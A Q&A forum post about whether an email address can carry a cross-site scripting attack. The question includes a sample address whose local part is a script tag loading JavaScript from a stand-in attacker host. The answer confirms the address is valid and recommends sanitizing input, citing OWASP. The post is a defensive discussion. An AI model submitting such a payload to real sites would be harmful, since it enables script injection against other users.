All geek questions in one place

Are XSS attacks possible via email addresses?

I wonder if an email address can be used for XSS attacks.

Suppose you have a website where you can register and enter your email address. If someone wants to attack this site, he or she can create an email address such as this:

"<script src=//my.evil.site/is/attacking/u.js></script>"@stmpname.com

and then use this email address to attack the website.

Is a quotation mark or script tag allowed to an email address?

+4
source share
1 answer

The email address in your example is valid. The only character that is unusual is the quote " - the rest of the others are valid.

Wikipedia indicates that the email address you provided is valid.

You need to make sure that arbitrary user input is sanitized before rendering.

To get started, you can refer to the XSS and prevention information available at OWASP .

+5
source

Source: https://habr.com/ru/post/1489830/

More articles:


All Articles